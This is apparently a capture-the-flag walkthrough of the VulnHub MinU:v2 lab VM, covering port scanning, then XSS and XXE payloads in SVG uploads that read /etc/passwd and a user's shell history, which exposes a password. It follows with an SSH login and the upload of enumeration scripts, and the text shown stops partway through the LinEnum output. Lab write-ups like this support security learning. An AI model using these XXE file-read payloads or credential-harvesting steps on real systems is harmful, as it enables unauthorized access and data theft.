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Copy pathVulnHub MinU:v2 (Beginner-Medium)
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VulnHub MinU:v2 (Beginner-Medium)
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========================================================================================================================================
Walkthrough of the MinU:v2 VulnHub VM CTF
========================================================================================================================================
Step 1. Scanning & Enumeration (Nmap + Nikto + Dirb)
1. Open ports: SSH/22 and HTTP/3306 (note: weird to see a website using the default MySQL database port)
2. Find the page "http://IP:3306/upload.html" that allows to upload pictures in ".SVG" format (XML file)
Step 2. Gaining Access (Burp proxy)
1. Find out that the upload page is prone to an XML External Entity (XXE) vulnerability and to a reflected XSS vulnerability
2. Exploit the XXE vulnerability to read arbitrary files
=> we don't have ROOT privilege but we can read the files belonging to the linux account "employee"
=> the employee account doesn't have authorized SSH keys but its history file discloses a login and a password (superultrapass3)
3. Find out that the password is valid for the employee account and SSH to the Linux box as "employee"
Step 3. Post-exploitation - Linux enumeration (scripts: "LinEnum.sh" & "Linux-exploit-suggester.sh")
Step 4. Privilege escalation to ROOT
=> The binary "/usr/bin/micro" is owned by ROOT and has the SUID permission bit
=> It is a terminal-based text editor that allow to execute OS commands
=> Run commands as ROOT (e.g. display the shadow file and the file "/root/flag.txt")
========================================================================================================================================
Step 1. Scanning & Enumeration
========================================================================================================================================
kali@kali:~$ sudo netdiscover
Currently scanning: 192.168.49.0/16 | Screen View: Unique Hosts
8 Captured ARP Req/Rep packets, from 6 hosts. Total size: 498
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.254 68:a3:78:8b:0c:dd 3 198 FREEBOX SAS
192.168.1.3 14:0c:76:53:4d:4e 1 60 FREEBOX SAS
192.168.1.29 f4:5c:89:c9:be:c5 1 60 Apple, Inc.
192.168.1.50 08:00:27:2f:c5:a5 1 60 PCS Systemtechnik GmbH
192.168.1.33 28:3f:69:c8:fc:15 1 60 Sony Mobile Communications Inc
192.168.27.1 14:0c:76:53:4d:4e 1 60 FREEBOX SAS
-------------------------------------------------------------------------------------------------------------------
kali@kali:~$ sudo nmap -sS -sV -sC -P0 -p 1-65535 192.168.1.50
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-20 00:14 CET Nmap scan report for 192.168.1.50
Host is up (0.00058s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 82:33:25:61:27:97:ea:4a:49:f5:76:a3:33:1c:ae:2b (RSA)
| 256 ed:ca:f6:b9:b5:39:32:89:d0:a3:36:94:82:04:4a:e8 (ECDSA)
|_ 256 26:79:15:2e:be:93:02:41:04:c9:ea:e8:05:16:d1:83 (ED25519)
3306/tcp open mysql?
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain
| Transfer-Encoding: chunked
| Request
| GetRequest, HTTP Options:
| HTTP/1.0 404 Not Found
| X-Powered-By: Kemal
| Content-Type: text/html
| <!DOCTYPE html>
| <html>
| <head>
| <style type="text/css">
| body { text-align:center;font-family:helvetica,arial;font-size:22px;
| color:#888;margin:20px}
| max-width: 579px; width: 100%; }
| {margin:0 auto;width:500px;text-align:left}
| </style>
| </head>
| <body>
| <h2>Kemal doesn't know this way.</h2>
|_ <svg id="svg" version="1.1" width="400" height="400" viewBox="0 0 400 400" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" ><g id="svgg"><path id="path0" d="M262.800 99.200 L 262.800 150.400 265.461 150.400 L 268.121 150.400 267.864 144.300 C 267.722 140.945,267.510 120.110,267.391 98.000 C 267.273 75.890,267.074 55.595,266.948 52.900 L 266.719 48.000 264.760 48.000 L 262.800 48.000 262.800 99.200 M160.800 290.800 C 160.800 291.301,161.224 291.301,162.000
|_mysql-info: ERROR: Script execution failed (use -d to debug)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.80%I=7%D=1/20%Time=600767FB%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,6D,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain\r\nTransfer-Encoding:\x20chunked\r\n\r\n10\r\n400\x20Bad\x20R
SF:equest\n\r\n0\r\n\r\n")%r(GetRequest,642C,"HTTP/1\.0\x20404\x20Not\x20F
SF:ound\r\nX-Powered-By:\x20Kemal\r\nContent-Type:\x20text/html\r\n\r\n\x2
SF:0\x20<!DOCTYPE\x20html>\n\x20\x20<html>\n\x20\x20<head>\n\x20\x20\x20\x
SF:20<style\x20type=\"text/css\">\n\x20\x20\x20\x20body\x20{\x20text-align
SF::center;font-family:helvetica,arial;font-size:22px;\n\x20\x20\x20\x20\x
SF:20\x20color:#888;margin:20px}\n\x20\x20\x20\x20img\x20{\x20max-width:\x
SF:20579px;\x20width:\x20100%;\x20}\n\x20\x20\x20\x20#c\x20{margin:0\x20au
SF:to;width:500px;text-align:left}\n\x20\x20\x20\x20</style>\n\x20\x20</he
SF:ad>\n\x20\x20<body>\n\x20\x20\x20\x20<h2>Kemal\x20doesn't\x20know\x20th
SF:is\x20way\.</h2>\n\x20\x20\x20\x20<svg\x20id=\"svg\"\x20version=\"1\.1\
SF:"\x20width=\"400\"\x20height=\"400\"\x20viewBox=\"0\x200\x20400\x20400\
SF:"\x20xmlns=\"http://www\.w3\.org/2000/svg\"\x20xmlns:xlink=\"http://www
SF:\.w3\.org/1999/xlink\"\x20><g\x20id=\"svgg\"><path\x20id=\"path0\"\x20d
SF:=\"M262\.800\x2099\.200\x20L\x20262\.800\x20150\.400\x20265\.461\x20150
SF:\.400\x20L\x20268\.121\x20150\.400\x20267\.864\x20144\.300\x20C\x20267\
SF:.722\x20140\.945,267\.510\x20120\.110,267\.391\x2098\.000\x20C\x20267\.
SF:273\x2075\.890,267\.074\x2055\.595,266\.948\x2052\.900\x20L\x20266\.719
SF:\x2048\.000\x20264\.760\x2048\.000\x20L\x20262\.800\x2048\.000\x20262\.
SF:800\x2099\.200\x20M160\.800\x20290\.800\x20C\x20160\.800\x20291\.301,16
SF:1\.224\x20291\.301,162\.000")%r(HTTPOptions,16E8,"HTTP/1\.0\x20404\x20N
SF:ot\x20Found\r\nX-Powered-By:\x20Kemal\r\nContent-Type:\x20text/html\r\n
SF:\r\n\x20\x20<!DOCTYPE\x20html>\n\x20\x20<html>\n\x20\x20<head>\n\x20\x2
SF:0\x20\x20<style\x20type=\"text/css\">\n\x20\x20\x20\x20body\x20{\x20tex
SF:t-align:center;font-family:helvetica,arial;font-size:22px;\n\x20\x20\x2
SF:0\x20\x20\x20color:#888;margin:20px}\n\x20\x20\x20\x20img\x20{\x20max-w
SF:idth:\x20579px;\x20width:\x20100%;\x20}\n\x20\x20\x20\x20#c\x20{margin:
SF:0\x20auto;width:500px;text-align:left}\n\x20\x20\x20\x20</style>\n\x20\
SF:x20</head>\n\x20\x20<body>\n\x20\x20\x20\x20<h2>Kemal\x20doesn't\x20kno
SF:w\x20this\x20way\.</h2>\n\x20\x20\x20\x20<svg\x20id=\"svg\"\x20version=
SF:\"1\.1\"\x20width=\"400\"\x20height=\"400\"\x20viewBox=\"0\x200\x20400\
SF:x20400\"\x20xmlns=\"http://www\.w3\.org/2000/svg\"\x20xmlns:xlink=\"htt
SF:p://www\.w3\.org/1999/xlink\"\x20><g\x20id=\"svgg\"><path\x20id=\"path0
SF:\"\x20d=\"M262\.800\x2099\.200\x20L\x20262\.800\x20150\.400\x20265\.461
SF:\x20150\.400\x20L\x20268\.121\x20150\.400\x20267\.864\x20144\.300\x20C\
SF:x20267\.722\x20140\.945,267\.510\x20120\.110,267\.391\x2098\.000\x20C\x
SF:20267\.273\x2075\.890,267\.074\x2055\.595,266\.948\x2052\.900\x20L\x202
SF:66\.719\x2048\.000\x20264\.760\x2048\.000\x20L\x20262\.800\x2048\.000\x
SF:20262\.800\x2099\.200\x20M160\.800\x20290\.800\x20C\x20160\.800\x20291\
SF:.301,161\.224\x20291\.301,162\.000");
MAC Address: 08:00:27:2F:C5:A5 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 126.18 seconds
------------------------------------------------------------------------------------------------
kali@kali:~$ nikto -h http://192.168.1.50:3306/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.50
+ Target Hostname: 192.168.1.50
+ Target Port: 3306
+ Start Time: 2021-01-20 00:30:09 (GMT1)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Kemal
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
<SNIP>
------------------------------------------------------------------------------------------------
kali@kali:~$ dirb http://192.168.1.50:3306/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Jan 20 00:22:18 2021
URL_BASE: http://192.168.1.50:3306/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.1.50:3306/ ----
-----------------
END_TIME: Wed Jan 20 00:22:25 2021
DOWNLOADED: 4612 - FOUND: 0
------------------------------------------------------------------------------------------------
=> We find nothing so let's try a bigger dictionary and more extension (PHP, HTML, TXT, XML)
kali@kali:~$ dirb http://192.168.1.50:3306/ /usr/share/dirb/wordlists/big.txt -X .php,.html,.txt,.xml
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Jan 20 00:44:49 2021
URL_BASE: http://192.168.1.50:3306/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
EXTENSIONS_LIST: (.php,.html,.txt,.xml) | (.php)(.html)(.txt)(.xml) [NUM = 4]
-----------------
GENERATED WORDS: 20458
---- Scanning URL: http://192.168.1.50:3306/ ----
+ http://192.168.1.50:3306/upload.html (CODE:200|SIZE:908)
-----------------
END_TIME: Wed Jan 20 00:47:07 2021
DOWNLOADED: 81832 - FOUND: 1
=> We found an upload page !!
========================================================================================================================================
Step 2. Gaining access
========================================================================================================================================
=> The "upload.html" page found by DIRB allows to upload a picture in ".SVG" format (XML).
-------------------------------------------------------------
1. Let's try to upload a simple SVG picture (with burp proxy)
-------------------------------------------------------------
POST /upload HTTP/1.1
Host: 192.168.1.50:3306
Content-Length: 446
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Origin: http://192.168.1.50:3306
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8vGmJmbXK2xsDwCl
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.50:3306/upload.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr;q=0.8
Connection: close
------WebKitFormBoundary8vGmJmbXK2xsDwCl
Content-Disposition: form-data; name="svg"; filename="Test.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
</svg>
------WebKitFormBoundary8vGmJmbXK2xsDwCl--
---------------
---------------
HTTP/1.1 200 OK
X-Powered-By: Kemal
Content-Type: text/html
Content-Length: 273
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" baseProfile="full">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
</svg>
Upload OK
------------------------------------------------------------------
2. Let's try to upload a malicious SVG picture containing an XSS
------------------------------------------------------------------
POST /upload HTTP/1.1
Host: 192.168.1.50:3306
Content-Length: 556
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Origin: http://192.168.1.50:3306
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8vGmJmbXK2xsDwCl
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.50:3306/upload.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr;q=0.8
Connection: close
------WebKitFormBoundary8vGmJmbXK2xsDwCl
Content-Disposition: form-data; name="svg"; filename="Test.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert('This application is vulnerable to XSS attacks!');
</script>
</svg>
------WebKitFormBoundary8vGmJmbXK2xsDwCl--
---------------
---------------
HTTP/1.1 200 OK
X-Powered-By: Kemal
Content-Type: text/html
Content-Length: 383
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" baseProfile="full">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert('This application is vulnerable to XSS attacks!');
</script>
</svg>
Upload OK
=> The reflected XSS attack is working.
------------------------------------------------------------------------------------------------------
3. Let's try to upload a malicious SVG picture containing an XXE attack payload (XML External Entity)
------------------------------------------------------------------------------------------------------
POST /upload HTTP/1.1
Host: 192.168.1.50:3306
Content-Length: 517
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Origin: http://192.168.1.50:3306
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8vGmJmbXK2xsDwCl
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.50:3306/upload.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr;q=0.8
Connection: close
------WebKitFormBoundary8vGmJmbXK2xsDwCl
Content-Disposition: form-data; name="svg"; filename="Test.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
</svg>
------WebKitFormBoundary8vGmJmbXK2xsDwCl--
---------------
---------------
HTTP/1.1 200 OK
X-Powered-By: Kemal
Content-Type: text/html
Content-Length: 154
image.svg:1: parser error : Extra content at the end of the document
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
^
Upload OK
=> It is not working..
------------------------------------------------------------------
4. Let's try again without the SVG picture (just the XXE payload)
------------------------------------------------------------------
POST /upload HTTP/1.1
Host: 192.168.1.50:3306
Content-Length: 321
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Origin: http://192.168.1.50:3306
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8vGmJmbXK2xsDwCl
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.50:3306/upload.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr;q=0.8
Connection: close
------WebKitFormBoundary8vGmJmbXK2xsDwCl
Content-Disposition: form-data; name="svg"; filename="Test.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?> <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
------WebKitFormBoundary8vGmJmbXK2xsDwCl--
---------------
---------------
HTTP/1.1 200 OK
X-Powered-By: Kemal
Content-Type: text/html
Content-Length: 1482
<?xml version="1.0" standalone="no"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
chrony:x:100:101:chrony:/var/log/chrony:/sbin/nologin
employee:x:1000:1000:Linux User,,,:/home/employee:/bin/ash
</foo>
Upload OK
=> The XXE attack is working :-)
----------------------------------------------------------------
5. Let's check if we are ROOT...
----------------------------------------------------------------
POST /upload HTTP/1.1
Host: 192.168.1.50:3306
Content-Length: 321
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Origin: http://192.168.1.50:3306
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8vGmJmbXK2xsDwCl
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.50:3306/upload.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr;q=0.8
Connection: close
------WebKitFormBoundary8vGmJmbXK2xsDwCl
Content-Disposition: form-data; name="svg"; filename="Test.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?> <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
------WebKitFormBoundary8vGmJmbXK2xsDwCl--
---------------
---------------
HTTP/1.1 200 OK
X-Powered-By: Kemal
Content-Type: text/html
Content-Length: 506
I/O error : Permission denied
I/O error : Permission denied
image.svg:1: parser error : Failure to process entity xxe
E foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;
^
image.svg:1: parser error : Entity 'xxe' not defined
E foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;
^
Upload OK
------------------------------------------------------------------------------------------------------------------------------------------------
6. Let's see if we can display the ".ash_history" file of the account "employee" (employee:x:1000:1000:Linux User,,,:/home/employee:/bin/ash)
------------------------------------------------------------------------------------------------------------------------------------------------
Note: "/home/employee:/bin/ash"
POST /upload HTTP/1.1
Host: 192.168.1.50:3306
Content-Length: 337
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Origin: http://192.168.1.50:3306
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8vGmJmbXK2xsDwCl
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.50:3306/upload.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr;q=0.8
Connection: close
------WebKitFormBoundary8vGmJmbXK2xsDwCl
Content-Disposition: form-data; name="svg"; filename="Test.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?> <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///home/employee/.ash_history" >]><foo>&xxe;</foo>
------WebKitFormBoundary8vGmJmbXK2xsDwCl--
---------------
---------------
HTTP/1.1 200 OK
X-Powered-By: Kemal
Content-Type: text/html
Content-Length: 208
<?xml version="1.0" standalone="no"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///home/employee/.ash_history">
]>
<foo>useradd -D bossdonttrackme -p superultrapass3
exit
</foo>
Upload OK
=> We found a username and a password but there is no Linux account name "bossdonttrackme".
---------------------------------------------------------
7. Let's see if we can display a private SSH key...
---------------------------------------------------------
POST /upload HTTP/1.1
Host: 192.168.1.50:3306
Content-Length: 345
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Origin: http://192.168.1.50:3306
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8vGmJmbXK2xsDwCl
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.50:3306/upload.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr;q=0.8
Connection: close
------WebKitFormBoundary8vGmJmbXK2xsDwCl
Content-Disposition: form-data; name="svg"; filename="Test.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?> <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///home/employee/.ssh/authorized_keys" >]><foo>&xxe;</foo>
------WebKitFormBoundary8vGmJmbXK2xsDwCl--
---------------
---------------
HTTP/1.1 200 OK
X-Powered-By: Kemal
Content-Type: text/html
Content-Length: 446
image.svg:1: parser error : Failure to process entity xxe
><!ENTITY xxe SYSTEM "file:///home/employee/.ssh/authorized_keys" >]><foo>&xxe;
^
image.svg:1: parser error : Entity 'xxe' not defined
><!ENTITY xxe SYSTEM "file:///home/employee/.ssh/authorized_keys" >]><foo>&xxe;
^
Upload OK
---------------------------------------------------------------------------------------------
8. Let's try the password "superultrapass3" for the Linux account "employee".
---------------------------------------------------------------------------------------------
=> It is working :)
kali@kali:~$ ssh [email protected]
The authenticity of host '192.168.1.50 (192.168.1.50)' can't be established.
ECDSA key fingerprint is SHA256:yDEwMAaye9gQ8q+xTLQxriV2ww9YRUYoGqvsqtXbskI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.50' (ECDSA) to the list of known hosts.
[email protected]'s password:
_ ____
/\/\ (_)_ __ /\ /\__ _|___ \
/ \| | '_ \/ / \ \ \ / / __) |
/ /\/\ \ | | | \ \_/ /\ V / / __/
\/ \/_|_| |_|\___/ \_/ |_____|
minuv2:~$ whoami
employee
minuv2:~$ sudo -l
-ash: sudo: not found
minuv2:~$ bash
-ash: bash: not found
minuv2:~$ pwd
/home/employee
minuv2:~$
=======================================================================================================================================================
Step 3. Post-exploitation - Linux enumeration (Linux exploit suggester, LinEnum)
=======================================================================================================================================================
------------------------------------------------------------------------------------------------
1. Linux exploit suggester
------------------------------------------------------------------------------------------------
kali@kali:~$ curl https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh > Linux-exploiter-suggester.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 85113 100 85113 0 0 298k 0 --:--:-- --:--:-- --:--:-- 297k
kali@kali:~$ scp Linux-exploiter-suggester.sh [email protected]:/home/employee/Linux-exploiter-suggester.sh
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Linux-exploiter-suggester.sh
kali@kali:~$ ssh [email protected]
[email protected]'s password:
_ ____
/\/\ (_)_ __ /\ /\__ _|___ \
/ \| | '_ \/ / \ \ \ / / __) |
/ /\/\ \ | | | \ \_/ /\ V / / __/
\/ \/_|_| |_|\___/ \_/ |_____|
minuv2:~$ chmod +x Linux-exploiter-suggester.sh
minuv2:~$ ./Linux-exploiter-suggester.sh
-ash: ./Linux-exploiter-suggester.sh: not found
minuv2:~$ Linux-exploiter-suggester.sh
-ash: Linux-exploiter-suggester.sh: not found
minuv2:~$ ash Linux-exploiter-suggester.sh
Linux-exploiter-suggester.sh: line 62: declare: not found
Linux-exploiter-suggester.sh: line 63: declare: not found
Linux-exploiter-suggester.sh: line 66: declare: not found
Linux-exploiter-suggester.sh: line 67: declare: not found
Linux-exploiter-suggester.sh: line 72: syntax error: unexpected "(" (expecting ")")
=> It seems that there is an error with "ash". Let's try to run the script "LinEnum.sh" to see if we have the same problem...
------------------------------------------------------------------------------------------------
2. LinEnum
------------------------------------------------------------------------------------------------
kali@kali:~$ scp LinEnum.sh [email protected]:/home/employee/LinEnum.sh
[email protected]'s password:
LinEnum.sh 100% 46KB 17.2MB/s 00:00
kali@kali:~$ ssh [email protected]
[email protected]'s password:
_ ____
/\/\ (_)_ __ /\ /\__ _|___ \
/ \| | '_ \/ / \ \ \ / / __) |
/ /\/\ \ | | | \ \_/ /\ V / / __/
\/ \/_|_| |_|\___/ \_/ |_____|
minuv2:~$ ls
LinEnum.sh image.svg main-static main.pl perl.out public
minuv2:~$
minuv2:~$ chmod +x LinEnum.sh
minuv2:~$ LinEnum.sh
-ash: LinEnum.sh: not found
minuv2:~$ ash LinEnum.sh
#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.982
[-] Debug Info
[+] Thorough tests = Disabled
Scan started at:
Wed Jan 20 00:36:50 UTC 2021
### SYSTEM ##############################################
[-] Kernel information:
Linux minuv2 4.19.58-0-virt #1-Alpine SMP Wed Jul 10 13:00:23 UTC 2019 x86_64 Linux
[-] Kernel information (continued):
Linux version 4.19.58-0-virt (buildozer@build-3-10-x86_64) (gcc version 8.3.0 (Alpine 8.3.0)) #1-Alpine SMP Wed Jul 10 13:00:23 UTC 2019
[-] Specific release information:
3.10.1
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.10.1
PRETTY_NAME="Alpine Linux v3.10"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://bugs.alpinelinux.org/"
[-] Hostname:
minuv2
### USER/GROUP ##########################################
[-] Current user/group info:
uid=1000(employee) gid=1000(employee) groups=1000(employee)
[-] Group memberships:
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
uid=1(bin) gid=1(bin) groups=1(bin),1(bin),2(daemon),3(sys)
uid=2(daemon) gid=2(daemon) groups=2(daemon),1(bin),2(daemon),4(adm)
uid=3(adm) gid=4(adm) groups=4(adm),3(sys),4(adm),6(disk)
uid=4(lp) gid=7(lp) groups=7(lp),7(lp)
uid=5(sync) gid=0(root) groups=0(root)
uid=6(shutdown) gid=0(root) groups=0(root)
uid=7(halt) gid=0(root) groups=0(root)
uid=8(mail) gid=12(mail) groups=12(mail),12(mail)
uid=9(news) gid=13(news) groups=13(news),13(news)
uid=10(uucp) gid=14(uucp) groups=14(uucp),14(uucp)
uid=11(operator) gid=0(root) groups=0(root)
uid=13(man) gid=15(man) groups=15(man),15(man)
uid=14(postmaster) gid=12(mail) groups=12(mail)
uid=16(cron) gid=16(cron) groups=16(cron),16(cron)
uid=21(ftp) gid=21(ftp) groups=21(ftp)
uid=22(sshd) gid=22(sshd) groups=22(sshd)
uid=25(at) gid=25(at) groups=25(at),25(at)
uid=31(squid) gid=31(squid) groups=31(squid),31(squid)
uid=33(xfs) gid=33(xfs) groups=33(xfs),33(xfs)
uid=35(games) gid=35(games) groups=35(games),100(users)
uid=70(postgres) gid=70(postgres) groups=70(postgres)
uid=85(cyrus) gid=12(mail) groups=12(mail)
uid=89(vpopmail) gid=89(vpopmail) groups=89(vpopmail)
uid=123(ntp) gid=123(ntp) groups=123(ntp)
uid=209(smmsp) gid=209(smmsp) groups=209(smmsp),209(smmsp)
uid=405(guest) gid=100(users) groups=100(users)
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
uid=100(chrony) gid=101(chrony) groups=101(chrony),101(chrony)
